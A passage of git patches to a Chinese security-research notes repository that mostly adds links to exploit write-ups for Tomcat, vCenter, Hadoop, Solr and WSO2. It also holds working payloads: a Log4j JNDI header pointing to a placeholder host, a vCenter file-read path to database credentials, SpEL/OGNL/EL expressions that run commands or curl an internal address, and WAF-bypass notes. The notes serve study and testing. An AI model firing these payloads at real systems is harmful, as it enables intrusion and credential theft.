服务器，可利用它响应HTML（标准通用标记语言下的一个应用）页面的访问请求。实际上Tomcat是Apache 服务器的扩展，但运行时它是独立运行的，所以当你运行tomcat 时，它实际上作为一个与Apache 独立的进程单独运行的 ![](./img/1.png) + + +[复现tomcat远程代码执行漏洞CVE-2016-8735](https://gv7.me/articles/2018/CVE-2016-8735/) From 65e60bdac9b270aec98bf27d298747e5368350cc Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 20 Oct 2022 23:23:11 +0800 Subject: [PATCH 080/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 26584c0..514c97a 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -184,3 +184,4 @@ + 2022/10/17 [最新CS RCE（CVE-2022-39197）复现心得分享](https://mp.weixin.qq.com/s/89wXyPaSn3TYn4pmVdr-Mw) + 2022/10/17 [RMI攻击Registry的两种方式](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651199558&idx=2&sn=f92be210fda6dcda351912e5819191e5&chksm=bd1d8acd8a6a03db3b62ba72b2a3b931ab99cf74dbacde501c0d615a8eb894c50d96405b3b43&mpshare=1&scene=23&srcid=10175X0cCc5JMI6fbq1VPYi6&sharer_sharetime=1666017207856&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2022/10/19 [Apache Spark UI 命令注入漏洞 CVE-2022-33891](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MjM5MTYxNjQxOA==&action=getalbum&album_id=2619537533131227139&scene=173&from_msgid=2652892336&from_itemidx=1&count=3&nolastread=1#wechat_redirect) ++ 2022/10/20 [如何更加精确的检测Tomcat AJP文件包含漏洞(CVE-2020-1938)](https://gv7.me/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/) **ajp的利用** From 5dfacecf58e66efb2be368053025c1f04571aad4 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 22 Oct 2022 00:22:39 +0800 Subject: [PATCH 081/254] Update Readme.md --- "java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md" "b/java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md" index 0bc0205..7944b15 100644 --- "a/java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md" +++ "b/java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md" @@ -26,3 +26,4 @@ https://www.sec-in.com/author/8 这个师傅太猛了 + 2022/01/31 [验证是否存在写文件漏洞小技巧](https://mp.weixin.qq.com/s?__biz=MzkyMDIxMjE5MA==&mid=2247483994&idx=1&sn=2d29f31afa27a3709b5dc9e46532230a&chksm=c19705ebf6e08cfdd6dc59937beee4a77110b3cac9958335a6cfdbd020d00f2f24a7033063f2&mpshare=1&scene=23&srcid=0131EzMk9fpayyNZeXFR8nhb&sharer_sharetime=1643561054742&sharer_shareid=33a823b10ae99f33a60db621d83241cb#rd) + 2022/02/26 [记一次曲折的weblogic上传webshell](https://chaserw.github.io/2021/11/05/%E8%AE%B0%E4%B8%80%E6%AC%A1%E6%9B%B2%E6%8A%98%E7%9A%84weblogic%E4%B8%8A%E4%BC%A0webshell/) + 2022/10/08 [实战 | 一次成功的子域名劫持](https://mp.weixin.qq.com/s/xA6OVbeQrCgeYBWMtkvWVA) **学习** ++ 2022/10/22 [上传包可“绕过”Java过滤器的检查？](https://gv7.me/articles/2019/why-can-multipart-post-bypass-java-filter/) **遇到了post请求有waf可以试一试文件上传的方法传递参数** From 3f0005fc0f5ab54ba4ea243fef3d9bf10b003b37 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 22 Oct 2022 00:23:46 +0800 Subject: [PATCH 082/254] Update Readme.md --- "java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md" "b/java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md" index 7944b15..63f06c2 100644 --- "a/java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md" +++ "b/java\345\260\217\345\236\213\346\241\206\346\236\266/Readme.md" @@ -27,3 +27,4 @@ https://www.sec-in.com/author/8 这个师傅太猛了 + 2022/02/26 [记一次曲折的weblogic上传webshell](https://chaserw.github.io/2021/11/05/%E8%AE%B0%E4%B8%80%E6%AC%A1%E6%9B%B2%E6%8A%98%E7%9A%84weblogic%E4%B8%8A%E4%BC%A0webshell/) + 2022/10/08 [实战 | 一次成功的子域名劫持](https://mp.weixin.qq.com/s/xA6OVbeQrCgeYBWMtkvWVA) **学习** + 2022/10/22 [上传包可“绕过”Java过滤器的检查？](https://gv7.me/articles/2019/why-can-multipart-post-bypass-java-filter/) **遇到了post请求有waf可以试一试文件上传的方法传递参数** ++ 2022/10/22 [burpsuite保存现有数据包记录&导入之前的抓包记录](https://blog.csdn.net/Fly_hps/article/details/88854111) [148处XSS你如何提交给开发修复？](https://gv7.me/articles/2017/how-do-to-submit-148-xss-vulnerabilities/) **bp的保存数据** From 1a286e4e90f9fe6176a7431c5c88fe7f4836b434 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 22 Oct 2022 16:02:35 +0800 Subject: [PATCH 083/254] Add files via upload --- .../chunked-coding-converter.md" | 20 +++++++++++++++++++ 1 file changed, 20 insertions(+) create mode 100644 "java\346\227\245\345\270\270/chunked-coding-converter.md" diff --git "a/java\346\227\245\345\270\270/chunked-coding-converter.md" "b/java\346\227\245\345\270\270/chunked-coding-converter.md" new file mode 100644 index 0000000..4cd529f --- /dev/null +++ "b/java\346\227\245\345\270\270/chunked-coding-converter.md" @@ -0,0 +1,20 @@ +# chunked-coding-converter + +[唯快不破的分块传输绕WAF](https://mp.weixin.qq.com/s/pM1ULCqNdQwSB7hcltrbtw) + +[Bypass WAF HTTP协议覆盖+分块传输组合绕过](https://mp.weixin.qq.com/s/2DDYyvsZ5HIQC0qGMK9znQ) + +[利用分块传输吊打所有WAF](https://mp.weixin.qq.com/s/eDiiiVX4oF0LYG3Ia5P4mw) + +[技术讨论 | 在HTTP协议层面绕过WAF](https://www.freebuf.com/news/193659.html) + +[编写Burp分块传输插件绕WAF](https://gv7.me/articles/2019/chunked-coding-converter/) + +[Java反序列化数据绕WAF之延时分块传输](https://gv7.me/articles/2021/java-deserialized-data-bypasses-waf-through-sleep-chunked/) + +``` +只有HTTP/1.1支持分块传输 +POST包都支持分块，不局限仅仅于反序列化和上传包 +Transfer-Encoding: chunked大小写不敏感 +``` + From ecc2b96cb605d519cbccd1e98b501572154224bb Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 24 Oct 2022 11:35:43 +0800 Subject: [PATCH 084/254] Create Readme.md --- hadoop/Readme.md | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 hadoop/Readme.md diff --git a/hadoop/Readme.md b/hadoop/Readme.md new file mode 100644 index 0000000..7e168b6 --- /dev/null +++ b/hadoop/Readme.md @@ -0,0 +1,21 @@ +# Hadoop + +[【安全风险通告】Apache Hadoop Yarn RPC未授权访问漏洞安全风险通告](https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247495027&idx=1&sn=5758a6717309a55e09f184e5bae82c75&chksm=fe79c9ebc90e40fd6d0c3f0bd21ce92f53b4f58aa0ee07d0c005ca85a28d2cfd70f61c40fae7&mpshare=1&scene=23&srcid=1123jW67UF5RY5e5aOeDZ5ha&sharer_sharetime=1637638003307&sharer_shareid=33a823b10ae99f33a60db621d83241cb#rd) + +[Hadoop Yarn RPC RCE 复现](https://mp.weixin.qq.com/s/lVl5HnVuZyLTIeSrbw1cuA) + +[Hadoop Yarn RPC未授权RCE（含一键利用工具）](https://mp.weixin.qq.com/s?__biz=MzkwNDI1NDUwMQ==&mid=2247485150&idx=1&sn=c31937fdb3e92ae3951a98b7967032b2&chksm=c0888394f7ff0a8224a8984f2cb4935f9aa1e7d243c4b512c488600d8fef0b6ec16a2b345865&token=616099468&lang=zh_CN#rd) + +[Hadoop Yarn RPC未授权访问漏洞复现](https://zgao.top/hadoop-yarn-rpc%E6%9C%AA%E6%8E%88%E6%9D%83%E8%AE%BF%E9%97%AE%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/) + +[GHSL-2022-012: Arbitrary file write during TAR extraction in Apache Hadoop - CVE-2022-26612](https://securitylab.github.com/advisories/GHSL-2022-012_Apache_Hadoop/) + +## 环境搭建 + +org.apache.hadoop.yarn.util.resource.ResourceUtils + +``` +docker pull kpli0rn/hadoop-rpc-vuln:3.3.0 +docker run -d --name yarn -p 8042:8042 -p 8032:8032 kpli0rn/hadoop-rpc-vuln:3.3.0 +``` + From 537940ec5569abeb556ed3e1d398602f5f513971 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 24 Oct 2022 15:36:02 +0800 Subject: [PATCH 085/254] Create Readme.md --- VMware vCenter/Readme.md | 92 ++++++++++++++++++++++++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 VMware vCenter/Readme.md diff --git a/VMware vCenter/Readme.md b/VMware vCenter/Readme.md new file mode 100644 index 0000000..f8ff54d --- /dev/null +++ b/VMware vCenter/Readme.md @@ -0,0 +1,92 @@ +# vcenter + +### 版本查看 + +``` +/sdk/vimServiceVersions.xml +``` + +### CVE-2021-21972 + +[VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识](https://mp.weixin.qq.com/s/eamNsLY0uKHXtUw_fiUYxQ) + +[CVE-2021-21972 vCenter Server 文件写入漏洞分析](https://blog.noah.360.net/vcenter-6-5-7-0-rce-lou-dong-fen-xi/) + +``` +VMware vCenter Server 7.0系列 < 7.0.U1c +VMware vCenter Server 6.7系列 < 6.7.U3l +VMware vCenter Server 6.5系列 < 6.5 U3n +VMware ESXi 7.0系列 < ESXi70U1c-17325551 +VMware ESXi 6.7系列 < ESXi670-202102401-SG +VMware ESXi 6.5系列 < ESXi650-202102101-SG +``` + +endpoint + +``` +/ui/vropspluginui/rest/services/uploadova +``` + +### CVE-2021-21985 + +[CVE-2021-21985 VMware vCenter Server远程代码执行漏洞分析](https://www.ghtwf01.cn/2022/07/31/CVE-2021-21985%20VMware%20vCenter%20Server%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/) + +``` +VMware vCenter Server 7.0系列 < 7.0.U2b +VMware vCenter Server 6.7系列 < 6.7.U3n +VMware vCenter Server 6.5系列 < 6.5 U3p +VMware Cloud Foundation 4.x 系列 < 4.2.1 +VMware Cloud Foundation 4.x 系列 < 3.10.2.1 +``` + +### CVE-2021-22005 + +[vCenter RCE 详细分析过程 (CVE-2021–22005)](https://cloud.tencent.com/developer/article/1887641) + +``` +VMware vCenter Server 7.0 +VMware vCenter Server 6.7 Running On Virtual Appliance +VMware Cloud Foundation (vCenter Server) 4.x +VMware Cloud Foundation (vCenter Server) 3.x +``` + +### Log4j + +endpoint + +``` +/websso/SAML2/SSO/vsphere.local?SAMLRequest= + +X-Forwarded-For: ${jndi:ldap://exp} +``` + + + +### CVE-2022-31680 + +[CVE-2022-31680](https://talosintelligence.com/vulnerability_reports/TALOS-2022-1587) + +``` +GET /psc/data/constraint/amJzMXszAAAAATMAAAACAAAIRW1wbG95ZWUAASL6C7Hsp5eXAAKXEjO-44rgaCk1FZKH_mF7AQQAAAADAAAGTWFyY2luAAB6aQ HTTP/1.1 +Host: 192.168.0.109 +Cookie: JSESSIONID=D8E403940B6B595FF53158ED63671A69; XSRF-TOKEN=b28efbac-6d3c-4fcb-b177-baee9c1e005e; VSPHERE-USERNAME=Administrator%40VSPHERE.LOCAL; VSPHERE-CLIENT-SESSION-INDEX=_87577cc1f7ac5bba20fe8d947d9ffcfe +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0 +Accept: application/json, text/plain, */* +Accept-Language: pl,en-US;q=0.7,en;q=0.3 +Accept-Encoding: gzip, deflate +Pragma: no-cache +Isangularrequest: true +X-Xsrf-Token: b28efbac-6d3c-4fcb-b177-baee9c1e005e +Referer: https://192.168.0.109/psc/ +Sec-Fetch-Dest: empty +Sec-Fetch-Mode: cors +Sec-Fetch-Site: same-origin +Te: trailers +Connection: close +``` + +### 后续利用 + +[VMware vCenter漏洞实战利用总结](https://mp.weixin.qq.com/s/0gg5TDEtL3lCb9pOnm42gg) + +[Vcenter实战利用方式总结](https://mp.weixin.qq.com/s?__biz=Mzg4NTUwMzM1Ng==&mid=2247499057&idx=1&sn=24ce83c75152529f2b8ef8543162a734&chksm=cfa55922f8d2d0349b97211fdf45df6c78b26ace580b68579817ed67760aaface17348529cf3&mpshare=1&scene=23&srcid=10245pAGxEFHmXFGCMoKjGdB&sharer_sharetime=1666572610152&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) From 38258217a9f8a82cb920cd2651f1555c15e71add Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 24 Oct 2022 17:03:42 +0800 Subject: [PATCH 086/254] Update Readme.md --- VMware vCenter/Readme.md | 9 +++++++++ 1 file changed, 9 insertions(+) diff --git a/VMware vCenter/Readme.md b/VMware vCenter/Readme.md index f8ff54d..a4ff167 100644 --- a/VMware vCenter/Readme.md +++ b/VMware vCenter/Readme.md @@ -6,6 +6,15 @@ /sdk/vimServiceVersions.xml ``` +### VMware vCenter Server 任意文件读取漏洞 + +[VMware vCenter Server 任意文件读取漏洞](https://forum.90sec.com/t/topic/1582) + +endpoint +``` +/eam/vib?id=C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties +``` + ### CVE-2021-21972 [VMware vCenter RCE 漏洞踩坑实录——一个简单的RCE漏洞到底能挖出什么知识](https://mp.weixin.qq.com/s/eamNsLY0uKHXtUw_fiUYxQ) From 5ea6357b701e922c155ffb8ade88fcfe2e395876 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 25 Oct 2022 09:35:12 +0800 Subject: [PATCH 087/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 514c97a..1549567 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -185,3 +185,4 @@ + 2022/10/17 [RMI攻击Registry的两种方式](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651199558&idx=2&sn=f92be210fda6dcda351912e5819191e5&chksm=bd1d8acd8a6a03db3b62ba72b2a3b931ab99cf74dbacde501c0d615a8eb894c50d96405b3b43&mpshare=1&scene=23&srcid=10175X0cCc5JMI6fbq1VPYi6&sharer_sharetime=1666017207856&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2022/10/19 [Apache Spark UI 命令注入漏洞 CVE-2022-33891](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MjM5MTYxNjQxOA==&action=getalbum&album_id=2619537533131227139&scene=173&from_msgid=2652892336&from_itemidx=1&count=3&nolastread=1#wechat_redirect) + 2022/10/20 [如何更加精确的检测Tomcat AJP文件包含漏洞(CVE-2020-1938)](https://gv7.me/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/) **ajp的利用** ++ 2022/10/25 [Python PIP自解压的命令执行](https://mp.weixin.qq.com/s/xFY6VYzrA4RryH1agC8zUw) **包管理工具的命令执行** [node npm 中的preinstall 命令执行](https://bytedance.feishu.cn/docx/doxcnWmtkIItrGokckfo1puBtCh) From d39959ef08ef3f46dda521dad048bf4e5909dc5a Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 25 Oct 2022 20:46:21 +0800 Subject: [PATCH 088/254] Update README.md --- Solr/README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/Solr/README.md b/Solr/README.md index 38c86b8..cc7d06c 100644 --- a/Solr/README.md +++ b/Solr/README.md @@ -186,3 +186,6 @@ get = requests.get(burp0_url, headers=burp0_headers) print(get.text) ``` +## 任意文件删除 + +https://mp.weixin.qq.com/s/JXBiQR3q7ykITVFBwm_9Vg From 8b8e829bf050464a8b36ddf26841bed72dbb84aa Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 26 Oct 2022 11:39:18 +0800 Subject: [PATCH 089/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 1549567..ff2b853 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -186,3 +186,4 @@ + 2022/10/19 [Apache Spark UI 命令注入漏洞 CVE-2022-33891](https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MjM5MTYxNjQxOA==&action=getalbum&album_id=2619537533131227139&scene=173&from_msgid=2652892336&from_itemidx=1&count=3&nolastread=1#wechat_redirect) + 2022/10/20 [如何更加精确的检测Tomcat AJP文件包含漏洞(CVE-2020-1938)](https://gv7.me/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/) **ajp的利用** + 2022/10/25 [Python PIP自解压的命令执行](https://mp.weixin.qq.com/s/xFY6VYzrA4RryH1agC8zUw) **包管理工具的命令执行** [node npm 中的preinstall 命令执行](https://bytedance.feishu.cn/docx/doxcnWmtkIItrGokckfo1puBtCh) ++ 2022/10/26 [这是我见过最复杂的URL了](https://cn-sec.com/archives/1372213.html) From 730d0c4ceadeb1cc92845254303c16c3dba8c317 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 26 Oct 2022 21:44:06 +0800 Subject: [PATCH 090/254] Create Readme.md --- apache storm/Readme.md | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 apache storm/Readme.md diff --git a/apache storm/Readme.md b/apache storm/Readme.md new file mode 100644 index 0000000..c269064 --- /dev/null +++ b/apache storm/Readme.md @@ -0,0 +1,21 @@ +# apache storm + +## 环境搭建 + +https://blog.51cto.com/u_13870740/3445168 + +https://github.com/heibaiying/BigData-Notes/blob/master/notes/installation/Storm%E5%8D%95%E6%9C%BA%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA.md + +``` +nohup bash storm dev-zookeeper & bash storm nimbus & bash storm supervisor &bash storm ui & bash storm logviewer & +``` + +## 漏洞分析 + +https://paper.seebug.org/1780/#0x03 + +https://blog.noah.360.net/apache-storm-vulnerability-analysis/ + +https://y4er.com/posts/apache-storm-two-cve/ + +**自己尝试反序列化并没有成功cb,环境是2.1.0** From 5bad93020461157ec8398cbcac82898febf3378d Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 27 Oct 2022 14:19:26 +0800 Subject: [PATCH 091/254] Update Readme.md --- shell/EL/Readme.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/shell/EL/Readme.md b/shell/EL/Readme.md index 56f6390..66df221 100644 --- a/shell/EL/Readme.md +++ b/shell/EL/Readme.md @@ -39,3 +39,9 @@ ${''.class.forName('com.sun.org.apache.bcel.internal.util.ClassLoader').newInsta ``` **需要注意jdk版本问题可能没有bcel类** 理论上spel表达式可以用的payLoad 这里也可以利用 +## bypass + +https://forum.butian.net/share/1880 +```java +${""[param.a]()[param.b](param.c)[param.d]()[param.e](param.f)[param.g](param.h)} +``` From 9c0a916079cd1fcde6fd6b7ebfa50ff2ecd4d209 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 27 Oct 2022 20:42:56 +0800 Subject: [PATCH 092/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index ff2b853..706832e 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -187,3 +187,4 @@ + 2022/10/20 [如何更加精确的检测Tomcat AJP文件包含漏洞(CVE-2020-1938)](https://gv7.me/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/) **ajp的利用** + 2022/10/25 [Python PIP自解压的命令执行](https://mp.weixin.qq.com/s/xFY6VYzrA4RryH1agC8zUw) **包管理工具的命令执行** [node npm 中的preinstall 命令执行](https://bytedance.feishu.cn/docx/doxcnWmtkIItrGokckfo1puBtCh) + 2022/10/26 [这是我见过最复杂的URL了](https://cn-sec.com/archives/1372213.html) ++ 2022/10/27 [【技术干货】CVE-2022-34916 Apache Flume 远程代码执行漏洞分析](https://mp.weixin.qq.com/s/zS2TBfBsK1gzkLxs5u3GmQ) From df7e01ec98e9fc65c8a1461a39acc71188918cac Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 29 Oct 2022 01:33:25 +0800 Subject: [PATCH 093/254] Create Readme.md --- wso2/Readme.md | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 wso2/Readme.md diff --git a/wso2/Readme.md b/wso2/Readme.md new file mode 100644 index 0000000..1e02983 --- /dev/null +++ b/wso2/Readme.md @@ -0,0 +1,25 @@ +# wso2 + +## CVE-2022-29464 + +### 文件上传 + +路径匹配处理类 + +![image](https://user-images.githubusercontent.com/63966847/198697817-2f3055f2-5918-4336-bf73-71e500a1050b.png) + +![image](https://user-images.githubusercontent.com/63966847/198697831-7aeb695f-b02d-4a77-a403-562a37b4245f.png) + +### fix + +1.加了权限认证 + +2.对上传文件的路径做校验 + +### 参考 + +https://github.com/wso2/carbon-kernel/pull/3152/commits/13795df0a5b6a2206fd0338abfff057a7b99e1bb + +https://docs.wso2.com/m/mobile.action#page/180952746 + +https://www.anquanke.com/post/id/273528?from=timeline From eb4ece311d40e5e7ee61cdeec8a51fba4d0aca5d Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 29 Oct 2022 11:14:30 +0800 Subject: [PATCH 094/254] Update Readme.md --- shell/SPEL/Readme.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/shell/SPEL/Readme.md b/shell/SPEL/Readme.md index b0acffd..9487637 100644 --- a/shell/SPEL/Readme.md +++ b/shell/SPEL/Readme.md @@ -110,6 +110,11 @@ print(')}') 其他bypass: https://xz.aliyun.com/t/9245 +## springboot回显 +``` +Java.type("org.springframework.web.context.request.RequestContextHolder").currentRequestAttributes().getResponse().addHeader("test",new java.lang.String(Java.type("sun.misc.IOUtils").readFully(new java.io.FileInputStream("/flag"),1024,false))); +``` + ## 参考 > https://xz.aliyun.com/t/9245 **可以使用#request.getRequestedSessionId() 或者 #request.getHeader('User-Agent') 反正可以使用request对象或者respose** > From 914df006509b353eae398034ef49839d3df8a4f0 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 29 Oct 2022 11:34:43 +0800 Subject: [PATCH 095/254] Update Readme.md --- shell/OGNL/Readme.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/shell/OGNL/Readme.md b/shell/OGNL/Readme.md index 1c52c1b..b09dfcf 100644 --- a/shell/OGNL/Readme.md +++ b/shell/OGNL/Readme.md @@ -1,5 +1,7 @@ # OGNL bypass ```java +${@jdk.jshell.JShell@create().eval('java.lang.Runtime.getRuntime().exec("")} + new javax.script.ScriptEngineManager().getEngineByName("js").eval(此处的Payload可以进行unicode编码) new javax.script.ScriptEngineManager().getEngineByName("js").eval("new j\u0061va.lang.ProcessBuilder['(java.l\u0061ng.String[])'](['cmd.exe','/c','calc']).start()\u003B"); From bca87f5ed1a77de4ffb0b4474be893d412485607 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 29 Oct 2022 11:36:21 +0800 Subject: [PATCH 096/254] Update Readme.md --- shell/SPEL/Readme.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/shell/SPEL/Readme.md b/shell/SPEL/Readme.md index 9487637..82b8808 100644 --- a/shell/SPEL/Readme.md +++ b/shell/SPEL/Readme.md @@ -83,7 +83,10 @@ T(java.nio.file.Files).write(T(java.nio.file.Paths).get(T(java.net.URI).create(" Nuxeo RCE ''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null),'curl 172.17.0.1:9898') - + +jdk9+ + +T(jdk.jshell.JShell).Methods[6].invoke(null,'').eval('xxxx'); ``` 字符串绕过 From 8ec5138ab18ade5003102b0fadc937aaf8ad021a Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 30 Oct 2022 21:57:11 +0800 Subject: [PATCH 097/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 706832e..b25c00c 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -188,3 +188,4 @@ + 2022/10/25 [Python PIP自解压的命令执行](https://mp.weixin.qq.com/s/xFY6VYzrA4RryH1agC8zUw) **包管理工具的命令执行** [node npm 中的preinstall 命令执行](https://bytedance.feishu.cn/docx/doxcnWmtkIItrGokckfo1puBtCh) + 2022/10/26 [这是我见过最复杂的URL了](https://cn-sec.com/archives/1372213.html) + 2022/10/27 [【技术干货】CVE-2022-34916 Apache Flume 远程代码执行漏洞分析](https://mp.weixin.qq.com/s/zS2TBfBsK1gzkLxs5u3GmQ) ++ 2022/10/30 [Beware the Nashorn: ClassFilter gotchas](https://mbechler.github.io/2019/03/02/Beware-the-Nashorn/) From ef725d97fcc82ec08ec65de66b2eb8460ca49c47 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 1 Nov 2022 20:46:54 +0800 Subject: [PATCH 098/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index b25c00c..7ce9d99 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -189,3 +189,4 @@ + 2022/10/26 [这是我见过最复杂的URL了](https://cn-sec.com/archives/1372213.html) + 2022/10/27 [【技术干货】CVE-2022-34916 Apache Flume 远程代码执行漏洞分析](https://mp.weixin.qq.com/s/zS2TBfBsK1gzkLxs5u3GmQ) + 2022/10/30 [Beware the Nashorn: ClassFilter gotchas](https://mbechler.github.io/2019/03/02/Beware-the-Nashorn/) ++ 2022/11/01 [红队第10篇：coldfusion反序列化过waf改exp拿靶标的艰难过程](https://www.moonsec.com/5362.html) From 6443c0b76762056b6cf3892ebe727fd9aafd25b0 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 2 Nov 2022 17:43:12 +0800 Subject: [PATCH 099/254] Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index afcf094..e2e39f6 100644 --- a/README.md +++ b/README.md @@ -23,7 +23,7 @@ + 2022/01/16 [添加CAS漏洞学习](CAS) 💛 💙 💜 ❤️ 💚 + 2022/03/18 [添加Solr利用exp](Solr) 💛 💙 💜 ❤️ 💚 + 2022/10/07 [添加jvm的学习笔记](JVM) 💛 💙 💜 ❤️ 💚 -+ 2022/10/07 [添加JDK里面的trick](JDK) 💛 💙 💜 ❤️ 💚 ++ 2022/10/07 [添加JDK里面的trick](Jdk) 💛 💙 💜 ❤️ 💚 From ed0de079fba2b2ebbd62fcd7b614fed062fc40d1 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 3 Nov 2022 17:18:16 +0800 Subject: [PATCH 100/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 7ce9d99..fbe1161 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -190,3 +190,4 @@ + 2022/10/27 [【技术干货】CVE-2022-34916 Apache Flume 远程代码执行漏洞分析](https://mp.weixin.qq.com/s/zS2TBfBsK1gzkLxs5u3GmQ) + 2022/10/30 [Beware the Nashorn: ClassFilter gotchas](https://mbechler.github.io/2019/03/02/Beware-the-Nashorn/) + 2022/11/01 [红队第10篇：coldfusion反序列化过waf改exp拿靶标的艰难过程](https://www.moonsec.com/5362.html) ++ 2022/11/03 